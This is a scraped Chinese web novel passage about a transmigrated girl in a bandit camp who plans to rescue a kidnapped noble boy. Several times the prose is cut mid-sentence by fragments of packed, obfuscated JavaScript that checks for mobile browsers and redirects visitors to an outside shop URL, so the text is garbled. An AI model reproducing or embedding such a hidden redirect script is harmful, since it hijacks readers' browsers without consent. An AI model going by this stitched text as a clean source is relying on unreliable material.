毕竟这世道,连土匪都分个三六九等,像是当家的、翻垛的①这等有身份地位的,几乎天天都能吃上肉,但若只是崽子②,没有战利,就只能胡饼就凉水。 李明珠缓缓打出一个问号,这跟她当乞丐时有什么区别?要知道,她在土匪中排行一百零九,这是一个什么样的概念呢,当初梁山好汉也才只有一百零八人,光看这排名,就知道她在这土匪寨有多么透明了。 兴龙山距江州城不过几十里路,快马一个时辰就能到,天子脚下,便是匪帮也收敛些,不残害普通百姓,只盯上些往来过路的客商,只谋财不害命,官府对此也就睁一只眼闭一只眼。 甚至近些年来,土匪头子熬煞还跟驻扎在城郊的金吾卫搭上了线,得来的战利也会上缴一部分,根据李明珠这几个月的观察,这大当家的似乎有些想被招安的意思。 不过这些跟她这个小喽啰关系不大,还是接下来的吃肉活动更重要些。 聚义堂是土匪们别梁子③之后庆功的地方,离李明珠所住的屋舍并不远,但今日是她第二次来,上一次还是三个月前,她刚上山不久,熬煞带着人打了个小项④,回来分酒分肉,土匪们畅饮到天明,好不惬意。弄得李明珠还以为,这就是她以后的日常,现在想来,当初还是太年轻了。 她来的比较晚,到了之后,众匪已经开始推杯换盏,肉还在烤,香气四溢。 主位之上,三个当家的依次而坐,左右下手坐着翻垛的和白扇⑤,这些人里,李明珠只认得两个,除了大当家的,还有当初与熬煞一起劝她上山的女人。后来她才知道,那女人叫熬真,与熬煞是拜把子的姐妹,是这兴龙帮的军师。 平日里,二人几乎形影不离,她与大当家的关系之近,连二当家都比不上。 李明珠找了个不起眼的角落坐下,接过厨子递来的酒肉,几乎要落下泪来,香!实在是太香了! 刚烤好的羊肉,肥瘦相间,串在刀上,那油就顺着刀柄流下,流的她满手都是。若是她还在现代的时候,看到这么肥到流油的羊肉,绝对会敬而远之,又腻又膻,还会弄得满手满嘴油乎乎的。 但是现在,时过境迁,若不是理智尚在,李明珠都恨不得把手上的油都舔干净。 吃上一刀肉,再喝上一口解腻的烈酒,舒服得她发出一声喟叹。眯了眯眼打个嗝,从盘子里捡几个野果吃了,便又续上酒肉,大快朵颐。 见场子热了,大当家熬煞端着酒碗站起身,朗声道:“各把姐妹,今日聚此,大家尽情吃喝,咱酒肉管够!” 众匪也吃得正尽兴,热血上头,对那熬煞更是拥戴佩服,也举起酒盏,齐声附和:“谢当家的!”话落,百余人将手中酒一饮而尽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202147|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李明珠也不例外,只是土匪们喝的都是烈酒,她上一世还是学生,没喝过酒,自然酒量不高,只喝了两小盏便有些头晕。所幸她一向是个小透明,没人注意,便揣了些果子出去吹风。 出了聚义堂,李明珠惊喜地发现,外面居然下雪了!江州地处南方,所以每年初雪来的格外晚。 她穿越过来的时候是夏天,一眨眼半年多过去,如今已进入腊月,没多久就要过年。 李明珠向远处望去,她上一世生活在北方,这一世,白灵曾说过她们是香河县人,香河地处淮河之北,她虽未曾亲历,想必,每年冬天也是大雪纷飞。 抬起手接住一片雪花,那晶莹落入掌心,很快便化了。她忽然有些惆怅,自打来到这陌生的朝代,她一直都让自己忙碌起来,不管是之前作乞丐还是如今当土匪,都不敢给自己太多闲暇,只要一放松下来,她就会不自觉地想起上一世的生活,想起父母朋友。 那一张张熟悉的脸,直到现在还会出现在她的梦中,她在梦中同她们嬉笑打闹,还开玩笑地跟她们说自己做了个梦,梦见自己穿越到了一个不知名的女尊国度,那里是男人生子,她们也会调笑她是不是压力太大了,难不成像格列佛一样,还能穿越到小人国那等神奇之地去? 做这梦的次数多了,李明珠每次一醒来,都有些恍惚,庄生晓梦迷蝴蝶,望帝春心托杜鹃。 晃晃脑袋,咬一口野果,借那酸涩驱走心里的惘然。她从来都是一个乐观之人,不会任自己沉浸在坏情绪中太久。 再怎么样,如今,都是新生。 5. 初见 月朗星稀,雪不知什么时候停了,下的时间不长,地上只覆了薄薄一层白霜。 李明珠漫无目的的往前走着,整个兴龙山上除了各处守卡的土匪,其余人全去了聚义堂。四下无人,李明珠也乐得自在。 她上山没多长时间,跟大多数人只是混了个脸熟,再加上她本人个子不高,也没什么特别的本事,就算不用每日风吹日晒,肤色比之前白了很多,但寨子里都是女人,也没人会盯着她看,所以平日里,存在感一向很低。 就像今日,她跟往来巡逻的土匪姐妹点头打了招呼,才转了个弯便听那两人毫不避讳地说起什么战利、小公子等字眼。起初李明珠还不是很在意,直到双方越离越远,远到快要听不到那对话时,隐隐飘来的“人质”二字,瞬间击中了她的某根神经。 过了很久,那两人的身影早已消失,李明珠依然如遭雷击般站在原地。 她听到了什么?人质! 不能怪她有如此大的反应,上辈子生活在和平年代,只在新闻和电影上看到过“xxx被绑架的报道”,所以李明珠一直理所当然的认为,这些事离自己很远。即便后来当了土匪,那也是因为她曾读过相关资料,和平盛世的土匪,一般都是只图钱财,不害人命,毕竟大部分人,都是生活过不下去,才会选择落草为寇,并非真正的大奸大恶之辈。 尤其她所知晓的江州下辖的几股土匪,包括最强盛的兴龙帮在内,都与官府或城外驻军有些联系,图钱可以,大家一起发发小财,但要是出了人命官司,金吾卫手中的长枪可不是吃素的,也正因为知道这些,她当初才敢放心上山,况且以李明珠所接受的现代教育,断断不会让她走上为非作歹、草菅人命这条路。 一颗心扑通扑通直跳,她不敢再耽搁,必须马上把这件事搞清楚。若这熬煞当真如此丧心病狂,掳了人质来做要挟,那这兴龙帮,她是万万不能再待下去的。 幸好,方才依稀听那两人说,人质被关在甲号房里。 兴龙帮有甲乙丙丁四处号房,均是被用来放置战利的地方,毕竟不是每次出山,都能直接拿到银子,有些商队银两不够,也会用货物相抵,土匪们来者不拒,这些大件货物就会按其价值,运到号房里。 甲号房里的物件便是最为值钱,李明珠在去的路上也很疑惑,为什么熬煞要把人质放在那,只是当她一路鬼鬼祟祟避开人,终于推开甲号房的大门,看见那端坐在一堆金堆玉砌之中的小公子时,那一瞬间,李明珠有些晕乎乎地想,她好像有些理解了。 就在她愣神之际,小公子似有所感地睁开了眼,如黑天鹅细羽般的睫毛微微扇动,一双琥珀色的如水双眸,就这样没有任何铺垫地出现在了李明珠的眼前。 李明珠:! 活脱脱希腊神话里的小天使啊!又或者观音菩萨坐下童子,高贵圣洁不含一丝杂质。 万籁俱寂,静到能听见李明珠声如擂鼓的心跳声。她忽然觉得有些丢人,自己好歹成年了,这小孩儿才几岁,上辈子也不是没见过好看的小正太小萝莉,也没震惊成这样。 这样想着,她正了正神色,率先开口:“喂”,顿了顿,感觉不太礼貌,暗骂自己真是土匪当多了,腌入味了。面上却不显,只是努力挤出更加温和的笑,略夹着些嗓音:“小朋友,你妈妈呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202148|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >......这语气。 不对劲,十分有九分的不对劲,李明珠扶额。 要是上一世的朋友看了她这番表现,肯定会吐槽她是幼儿园门口骗小朋友的怪阿姨。 对此,她也没办法。 这女尊国以女子为天,所以女人们都是孔武有力的大女人,身高八尺,声音也是粗犷,加之李明珠自大穿越过来,不是当乞丐就是作土匪,左右都是些粗人,平日里说话也不是很注意。 甚至要是你细声细气地同她们说话,还会被嫌弃“爷们儿叽叽”,“一点都不女人”,所以渐渐的,李明珠也朝大嗓门儿方向大步迈进。 但很明显,这位小公子不懂这些弯弯绕,他只是觉得,这土匪好生奇怪,黑黢黢的面孔扭曲成一个奇怪的弧度,声音还细细的,像是以前在皇宫里见的那些姑姑们。 如玉人一般的小少爷直勾勾盯着自己看,李明珠摸摸鼻子,不禁有些紧张,但转念一想,她又不是坏人,有什么可紧张的,便挺直腰杆儿,任由他打量。 又问了男孩几个问题,具是不答,他端坐在那,双腿盘膝,背挺得直直的,琥珀双眸就那么眨也不眨的盯着她。 虽然做足了心理准备,秋风吹过,李明珠依旧觉得心里毛毛的,背后凉凉的。同时又有些生气,毕竟想救人却被他这么一而再再而三地忽视,脾气再好也忍不了。 遂只撂下一句“你好好待着,有机会我想办法把你弄出去。”便转身出了门。 所以自然地,李明珠也就没看见,就在她转身后,那被她夸过的纯净双眸,蓦地闪了闪,然后,缓缓闭上。 一切又恢复平静。 6. 背叛 从甲号房出来,李明珠也没去别处,径自回了住处,因为兴龙山很大,她们匪众又不多,其他人都是两人一间房,但到了她这,因为是最晚进山的,其他土匪都已有了住处,所以独得一间屋子。 胡乱打水收拾了一下自己,李明珠便和衣躺在榻上,虽已是后半夜,但晚上吃太多,心里又藏着事,一时也没能睡着,只躺在床上翻来覆去地烙烧饼。没办法,一闭上眼,满脑子都是那金尊玉贵的小公子无悲无喜地看向她的样子。 心中盘算着明日天一亮,要去打探打探消息,问问这掳来的究竟是谁家的孩子,要如何把人救出去。 “哎!”生活不易,李明珠叹气。 没办法,小孩嘴撬不开,只能问别人。 想起那琥珀色的眼眸,颜控使她气消了些,安慰自己小孩子突然被绑,自己又是个土匪,人家警惕一些不跟陌生人说话是对的,更何况,那孩子一看就是锦衣玉食的贵公子,一朝离开了家人,还不知要如何伤心。 他母父一定也急坏了,满城找他的下落,待明日问得了那孩子的身份,大不了自己下山一趟,亲自走一趟他们府上,把孩子送回去。 要是熬煞当真那么丧心病狂,走了绑架人质这条不归路,她也就不回来了,带着白家姐弟离开江州,过逍遥日子去。 就这么胡思乱想着,李明珠渐渐睡了过去。然而,今夜,在这兴龙山上,可能只有她一个人能安眠了。 兴龙帮的聚义堂位于整个山寨的正中,地势最高,若站在屋顶四面眺望,周围任何风吹草动都可收入眼中。 整个聚义堂分前后两厅,前厅就是众匪们集会喝酒的地方,平日里寨里有什么大事,土匪们也会被召集到这。后堂则是大当家的熬煞的住处,无传召不得入内。 东方际白之时,前厅喝酒的土匪崽子们已是酒酣正浓,很多都没回住处,直接歪在酒坛旁睡了,只余炭炉噼啪作响。 但一墙之隔的后厅,却热闹得紧。 “大当家的,要俺说,你当初就不应该招惹那蓝家,咱们同官府虽然有些往来,却也只是小打小闹,但这蓝金是什么人,户部尚书,左相亲侄女,如今她那唯一的儿子在咱们寨里,如何会善罢甘休!”二当家熬青重重撂下酒碗,颇为懊恼地说。 听了这话,熬煞却皱了皱眉,她跟熬青是亲姐妹,却不是一父所生,这个妹妹自小说话就不得她心,母亲又偏爱幺女,家里虽穷,给妹妹的却是最好的,被溺爱得久了,便养成了那一副鲁莽蠢笨的性子。 后来赶上蝗灾,粮食颗粒无收,她不得以落草为寇,上了兴龙山。后来一朝得势,看在她那妹妹也出了力的份上,才让她领了二当家的名头。但也只是面上好听罢了,一丁点儿实权也没有,原本应该交由熬青管控的军火以及寨内布防,也全让熬真兼领。 当然,熬真能得大当家如此信任,也是有真本事的。就如现在,她见那两姐妹一个把玩着酒盏不开口,另一个满脸不忿,大口大口灌着酒,想了想便上前劝道:“大当家,阿青也是替您着急,她所言有理,那蓝家少爷确实不能在咱们寨子里多待,轩辕氏给的银子是不少,可若咱们就为了这么些钱就与官府、与左相为敌,未免太不值得。” 她这话一出,先前一直默不作声的三当家和白扇也附和起来。 熬煞眯了眯眼,放下手里的酒盏,却依旧没出声,瞥了一眼在场之人,突然轻笑一声,“阿真妹子向来是个有主意的,那么,依你之见,咱应该如何做啊?” 这话说的意味不明,熬真心中一咯噔,暗道不好,今日是自己情急了。那两个蠢货私底下以自己马首是瞻,现在当着大当家的面如此,岂不是要把她置于悬崖之上? 心思百转,就连面上也带了几分,毕竟她跟着熬煞多年,最是了解她虽重义气,却从不心慈手软,若知道自己背叛了她,暗地里收服不少姐妹反对招安,想到她那些手段…… 冷汗顺着背脊滑下,洇湿了衣襟。 顶着那道审视的目光,熬真谨慎开口:“您言重了,我等只是为咱们兴龙帮的长远而计,心中虽然忧虑,却无甚文才,具体如何行事,还需大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202149|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当家的您亲自定夺。” 话说得漂亮,但也不知熬煞信了几分,她捏了捏眉心,朝几人摆了摆手,有些疲惫道:“今日你们也累了,先回去歇着罢,至于那蓝家公子,” 顿了顿,又嗤笑一声:“就先留着,总归是他爹送来的,呵,还是轩辕氏的家主呢,为了那些情情爱爱,居然能亲手将儿子送进土匪窝,就算将来出了事,那蓝金要找的也该是她夫郎轩辕澈的麻烦。” 天色将晓,目送几人出了聚义堂,熬煞半倚在榻上闭目养神,她是大当家,寨子里一百多张嘴等着她吃饭,所有的决定、行动,无一不关乎着兴龙帮的生死。 她心里想着今日的情形,又联系往日种种,锐利双眸猛然一睁,扬声喊道:“王十六!” 帘子一掀,进来一个约么二十几岁的女子,单膝跪地抱拳道:“大当家,有何吩咐?” 熬煞看向眼前之人,王十六是她多年前在雪地里救的孤女,刚捡到她时,这小姑娘已经几日水米未进,穿着一身单衣倒在山下,她正好路过,以为只是一具尸体,正要走时,却瞥到那手指动了,一摸还有气,便起了恻隐,将她带回了山寨。 本以为只是多了个匪崽子而已,没想着这人是个知恩图报的,跪在自己身前说要做贴身侍从,见她可怜便留她在身边,如今已七年有余,比熬真跟她的时间还要长。 眼下的形式不甚明朗,还没查清楚熬真是谁的人,这山上的姐妹到底有多少是她的人?不能贸然轻举妄动。至于那蓝家少爷,熬煞思忖片刻,开口道:“你去,找两个靠得住的姐妹,在甲号房看着,昼夜轮值,没我的吩咐,任何人不得靠近。” 王十六有些疑惑,“大当家,这是为何?可是那小子有什么不妥?” 熬煞摇头,“那孩子才多大,能有什么不妥,此事咱自有主张,不必再问,若是蓝金来了,直接带她来见咱,但你记住,只许让她一人进寨。” 她走到窗边,透过清晨的云雾,望着远处的崇山峻岭,不由轻声叹息:“这兴龙帮,怕是难免一场浩劫啊。” 7. 急切 “诶,你知不知道,今日一大早,王十六亲自带人把甲号房围了起来,听说是大当家的命令,你说是不是这次劫了什么宝贝,防着姐妹们呢?”已是日上三竿,一道声音自屋外飘进来。 “去去,这话你都好意思说,大当家的什么时候亏待我们了?”那声音略低了些,“你不知道?今早山上都传开了,说大当家的带了个人回来,就关在甲号房。” 李明珠迷迷糊糊坐起身,许久,才后知后觉地反应过来她们在说什么。 是昨晚那个小男孩儿! 刚想出去问问清楚,只是她还没来得及榻上下来,已经有人替她发问了。是住隔壁的阿商,很明显,她也是在屋子里听见了动静,满脸好奇问那两人:“真的吗真的吗,十三姐,你知道是哪家的少爷吗?多大?美不美?可有婚配?” 文十三:…… 李明珠:……那孩子才多大! 脑中不受控制地浮现起那双琥珀色的翦瞳。 她这正想着那小公子的音容相貌,哦不对,只有相貌没有音,人家压根儿没搭理她。 那边文十三已经没好气地回道:“我也没见着人,如何晓得那许多,你要是真想知道,干甚么不直接去问大当家!况且,咱劝你一句,管他长成什么样,都跟咱们这些人无甚关系,那可是户部尚书的儿子,爹家轩辕氏也富可敌国,贵重堪比皇子,你还是趁早找泡骚尿照照你那模样,绝了这份心罢。” 显然阿商已经习惯了她的刻薄话,也知对方是话糙理不糙,那等人家确实轮不到她来高攀,但自己也只是过过嘴瘾,便调笑道:“那可说不定,要是大当家真想收了他,咱姐妹就算得不到,看几眼说句话总是可以的,日子久了,万一那小公子对我生情,没准儿还得求着跟了我呢!” 此言一出,自然引来其余两人的笑骂。 待外头之人各自回屋,耳边清静下来,李明珠的小心脏却久久不能平静。 别人不知,她还不知道吗,他还是个孩子啊!看着不过十岁左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202150|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右,放在现代,也就是上小学四五年级。 “啊—啊—” 这个杀千刀的熬煞,居然喜欢娈童! 腾的一下翻身下床,她原本还想着来日方长,慢慢找机会,总能将人救出去。但是万万没想到,看上去一本正经的大当家,私底下居然如此变态! 此时阿商还不知道,自己一句戏言,能引起多大的误会。 李明珠脸都没洗,就冲出了屋门,朝甲号房跑去,边跑边骂,连那好不容易养白一些的小脸上,都染了一层绯色。 聚义堂后院,刚刚睡下不久的熬煞打了个喷嚏,她没当回事,翻身换了个舒服的姿势,继续相会周公。 屋外的前厅里,几个土匪还在打扫昨晚的残局,一只蝴蝶从她们眼前飞过,几人具是新奇又惊讶,现在可是腊月里,又刚下了初雪,怎还会有蝴蝶?一人伸手去捉,却被那蝴蝶翩跹躲过。 穿过后堂半开的窗棂,小蝴蝶落在熬煞肩头,缓缓地、缓缓地扇动翅膀。 8. 被挡 兴龙山很大,她们寨里人手不够,为了方便运送战利,甲号房设在半山腰处,平日里便设有哨卡,十二个时辰都有土匪守卫。 大门并不会上锁,倒不是熬煞有多信任自己手底下的人,而是这里头的东西,基本又大又重,以一人之力很难妥善搬运。即便真有人想冒险一把,这么大的赃物,也没地方藏,要是抱着它走出去,不出一盏茶的功夫,就能被守卫的土匪发现。 至于那些小巧精致的金银玉器、首饰簪子之类,都被锁在大箱子里,每只箱子都挂上两把锁,熬煞和熬真各执一把钥匙,必须同时在场开锁才能打开,安全的很,根本无需担心失窃。 甚至熬煞还认为,号房里这泼天富贵,都是自己带着众姐妹们打下的江山,让众匪们能时时刻刻看到这些宝贝,享受着她们的崇敬和钦佩,哪怕是嫉妒,都让她很满足。所以昨夜之前,李明珠去甲号房,那真的是自由自在,随意出入。 尤其她刚进山那段时日,几乎日日都泡在号房里,因为实在是好奇古代的珠宝,毕竟在现代,那可都是文物啊!从前只能隔着玻璃在人群中匆匆看一眼,现在不只能看,还能近距离接触,对她来说简直毫无抵抗力。 那几天还与守卡的土匪都混熟了,姐妹相称。只是她们都住在半山腰,也不能擅离职守,除了她们几个,李明珠跟其她人都不熟悉,一个人玩也没甚意思,故而之后大部分时间,她都在练武场扎马步、练枪,偶尔还能跟她们切磋切磋,姐妹情谊又增进不少。 只是今天,她气喘吁吁来到甲号房的院前,却被拦在门外,路从见她跑得满头大汗,以为她是像往常一样来找她们切磋玩闹,便把她拉到一边,递过去一张帕子,低声道: “今日不行,你先回去,早上王十六带人来传大当家的命令,说要加强防卫,不许任何人靠近这号房的院子,若是只有咱们姐妹几个便罢了,偏偏她还留下了人同我们一起看守,估计这几日,咱怕是不得闲,等过段时日,风头过去,轻省些了,我们上去找你。” 看着李明珠听自己说话的认真模样,路从忽然觉得心软了软,那双大眼睛忽闪忽闪的,像是从前她小妹找她要糖时撒娇的神情。想了想,从怀里掏出了几十文钱塞进李明珠手里,在对方错愕惊讶的眼神中,伸手揉了揉她的头。 “这银钱你先拿着,要是无聊,就让粮台那边采买的人给你带些吃食话本回来,莫亏了自己。” 李明珠错愕又震惊,原本她听到熬煞果真加强了守卫,更加确定她对那孩子有所图谋。正在心里盘算凭自己这小身板,以及这三脚猫的功夫,要如何在这么多人眼皮子底下救走他时,眼前突然出现了一捧钱! 李明珠:她受宠若惊啊! 虽然这几个月来,她们相处的不错,但毕竟才认识不久,李明珠想不明白她为何要给自己这么多银钱,远远超过了普通朋友的范畴。 更何况,土匪在山上只管吃住,是没有月例的,要想额外赚银子,就只有两条路。一是被当家的带出去打项,可以分得些战利;第二条路便是自身本事大,通过比武被选上守卫,就能拿到工钱了,但钱不多,普通的崽子一月只有十文钱,像路从这样的棚炮头①,也才能拿三十文。 所以自己手里的,是她一个多月的工钱! 赶忙将这烫手的银子还了回去,“路姐姐,我怎么能要你的钱,我平日就在山上,有吃有喝也没什么别的花费,你每日那么辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更何况,这是女尊世界,男人生孩子,十月怀胎一朝分娩,究竟是怎样的父亲才能如此狠心。若是熬煞或者其他土匪动了一丁点儿旁的心思,一个十岁大的孩子又该如何反抗呢。就算事后再怎么弥补,裂痕也已经产生,无法修复如初。 脑海中浮现出那小公子无悲无喜的神情,她没由来的有些担心,那孩子小小年纪,还不知要在暗无天日的屋子里关几日,他身上只穿着一件轻薄单衣,听说熬煞给他送了厚衣裳和吃食,他却一样没动,就这么冷冷清清坐了一夜。 李明珠忽然有些心疼,她自诩不是圣母,穿越后又是劳苦大众,见多了可怜人,但可能是觉得那孩子同自己一样,都是孤身一人,在陌生的地方被困住。 只是,自己注定无法挣脱,他却不同,是能获得自由的,而自己能做的就是在这段时间内,尽量照顾好他。 但现在最大的问题是,甲号房被围得铁桶一般,光是哨卡就好几道,每个时辰还有巡逻的,守卫加起来二三十号人,别说她一个大活人了,鸟都飞不进去。所以当务之急,是得找到由头混进去。 机会很快就来了。 这天下午,李明珠正在山顶练枪,她现在力气大了很多,毕竟之前做了三个月苦工,进了山也没有一日松懈。 对比她在现代的生活,李明珠骄傲:她现在每天早睡早起,锻炼身体,几十斤的长枪也能耍上一会儿了,虽然个头没长,但看着比以前健壮不少。 正练得起劲,便听见身后有人喊她,一转身,就差点跟疾跑过来的路从撞个满怀。 看着对方跑的满头大汗的模样,李明珠有些无奈:“做什么这么急,上次还好意思说我,如今自己却也是这样,大冬天的,出了这一身汗,冷风一吹,你不受寒谁受寒?” 嘴上是这么说,手却赶忙拿帕子给她擦汗,见路从理所当然地享受着她的服务,忍不住笑道:“这帕子还是上次你给我的那块呢,洗干净了,本想着下次去找你时还给你,现在倒好,直接派上用场了。” 路从满不在乎:“还什么还,你拿着用就行,还要跟我客气这些不成。” “切,这帕子被你弄得都是臭汗,要送,你也得送我条新的。” “成成成,别说一条,就是十条都行,但现在你得先跟我走,有急事找你!”说完,也不等李明珠反应,拉着她就往山下跑。 一路手拉着手跑下山,虽不知道是什么事,但看着路从那股兴奋劲儿,大概是好事。 林间穿梭中,李明珠也逐渐被对方的好心情感染,她在友情里原本是内敛的性子,所以上一世,虽然有些朋友,却都谈不上亲密。 这一世,她认识的人不多,能称得上朋友的,也就白灵和路从两人而已。 但她对这两人的感情不同,白灵比她大几岁,一路照顾她,也是她穿越之后,第一个向她释放善意的人,可在面对她时,李明珠总想着要如何回馈。 她依赖白家姐弟,却也明白他们对她的好,其实更多是给原主的,自己占了原主的身体,享受了本应属于“李明珠”的善意,每每想起这些,她都很愧疚,只能加倍回报,才能让自己心中没那么煎熬。 而与路从之间就纯粹许多,二人因经常见面熟悉起来,一开始只是唠两句闲嗑,慢慢的,她们发现彼此简直如再生姐妹般!都重口腹,爱话本,甚至连衣着喜好都一样。 尤其是上次,路从居然想也不想地将自己一个月工钱都给她,却只是因为怕她无聊,要给她买吃食话本,李明珠更是动容,路从的这份好,是给她的,独属于这个灵魂。 “呼——呼——终、终于到了!” 一路疾驰到了半山腰,二人此时都狼狈极了,双手撑着膝盖大口喘气。 稍稍休息了一会儿,路从便又拽着李明珠往前走去,看她面上即便疲惫却仍然掩不住的开心,李明珠终于忍不住好奇道: “咱们究竟要去哪?前面就是哨卡了,你上次不是说周围守卫森严,不叫我过来吗?“ “当时是当时,现在可不同了!快来!” 路从大摇大摆地带她穿过两道哨卡,那趾高气昂的模样,像只骄傲的大孔雀,看得李明珠有些想笑。 来到甲号房门前,就见四人守在紧闭的屋门前,李明珠暗暗咋舌,她们方才过来时,就已经过了两次卡,第一道在山路上,无论上山还是下山,都须经过此处;第二道设在号房院外。没想到房门前居然还有,原本只是听说守卫森严,现在亲眼得见,才真切理解了什么叫围得铁桶一般! 她还在好奇张望着,那边路从已经冲到了一个似乎是守卫头领的人面前,“十九姐姐,她就是我跟你说的——诶,明珠,快过来!” 见人没跟上来,她赶忙怒其不争地把李明珠拽到身前,急切道:“明珠每日都练枪打拳,能耐大着呢,十九姐姐,你便让她领了这差事罢!” 刘十九却在看见李明珠那比她足足矮了一个头的小身板时,蹙了蹙眉,刚想开口说些什么,路从却比她更快:“你别看她个子矮长得又爷们儿,但她日日练武,一身的腱子肉,结实着呢,又讲义气还细心,准能当好差!” 李明珠听着她吹嘘自己这些话,不由在默默心虚擦汗,但面上却一派波澜不惊,毕竟路从是在夸她,总不能自己给自己拆台。 刚刚她才知晓,王十六带来的那几个守卫里,有两人被熬真点了名下山去了,就留了两空缺。原本这差事不缺人干,还是路从和刘十九有些交情,好说歹说才同意她把李明珠带来瞧瞧,若是过得了眼,再留下来当值。 偏头看路从还在为自己争取,李明珠心里一股暖流划过,她上前一步,朝刘十九抱拳:“刘姐姐,我才上山不久,自是比不得姐姐们,我也打心底里佩服众位姐姐,所以这段时日,从不曾懈怠,每日都会在武场练功,且大当家当初就是亲眼见我赢了一个比我高壮之人,才邀我入寨,若您不弃,明珠定会努力,当好这个差事,不负姐姐,一切听您吩咐。” 一刻钟后,刚从院子里出来,两人便都长舒一口气,随后就是欣喜和雀跃。尤其是李明珠,她很难得情绪外露地拉住路从的胳膊,郑重感激:“路姐姐,谢谢你,又帮了我一次。若今后有什么我能做的,你尽管开口,我一定全力以赴。” 路从姐俩好的揽住她的肩:“你姐姐我能耐大着呢,还用得着你冲锋陷阵?不过,” 她语调转了个弯,“现在就有个机会让你报答我,怎么样?” “什么?”李明珠疑惑转头,猝不及防地,鼻尖蹭到了路从的一侧脸颊。 刚毫无准备地对上一双清澈灵动的眼眸,还未来得及说些什么,路从便感觉自己有脸一抹温暖划过,呼吸近在咫尺,带着些淡淡的香气,她忽地放开手,与那抹香气拉开距离。 李明珠不明所以地看着她这一连串的举动,又见她松开自己后就开始同手同脚走路,挠挠这挠挠那,便脱口道:“路姐姐你很痒吗?是不是长虱子了?” …… 一瞬间,路从的粉色泡泡破裂,“好啊,小没良心的,咱刚帮了你,你居然说我长虱子,就是这么报答姐姐我的?咱可是隔三岔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盘算盘算自己身上揣的二十几文铜板,到时候再加上工钱,李明珠大手一挥,“没问题,就让你吃垮。再加上白灵姐和阿玉,咱们吃它个过瘾!路姐姐,我不骗你,阿玉的厨艺真的很好,只要你吃过他做的东西,那再吃什么都会觉得索然无味的!”脑海中已经想到吃烤鸭的快乐,李明珠没忍住,咽了咽口水。 路从也是知道白家姐弟的,她们刚认识时,李明珠就同她说起过三人当初是如何互相扶持一路走过来的,她也很感慨,要不是有他们,眼前这小不点儿得受更多苦,曾想过要是有机会,自己真想见一见那姐弟二人,好好感谢一番。 所以眼下,听到李明珠想邀请他们一起,她也欣然同意,还不忘调笑道:“我看你前几日吃肉吃的挺香啊,这时候怎么怎么不觉得索然无味了?” 二人说说笑笑间,已出了号房的院子。 路从还要继续当差,今日本就是她的轮值,只是听说那边守卫缺人,她立刻就想到了李明珠,这差事工钱多,多少双眼睛盯着呢。便她连忙找了好友替自己当值,先去找刘十九说情,让她留着这缺儿,然后马不停蹄奔向山顶。 “我得去当值了,趁天还没黑,你赶快回去,今日收拾一下随身的东西,好好睡一觉,明日卯时我在这儿等你。” 刘十九给了李明珠一晚准备时间,让她明日卯时三刻过去。她负责的是正好是号房门口的守卫,世上竟有这种好事儿?真是瞌睡有人递枕头,要知道,守卫虽然有三道,但能近距离接触那个蓝家小公子的,只有门口那一道,每日至少两次送水送饭。 天助我也! 她在脑海中琢磨着日后接近小公子的计划,同路从挥手告别,脚步轻快地向山顶走去。 10. 见鬼 一夜好眠。 一夜好眠。 寅时三刻,天还未亮,但东边刚隐隐泛出蟹壳青。 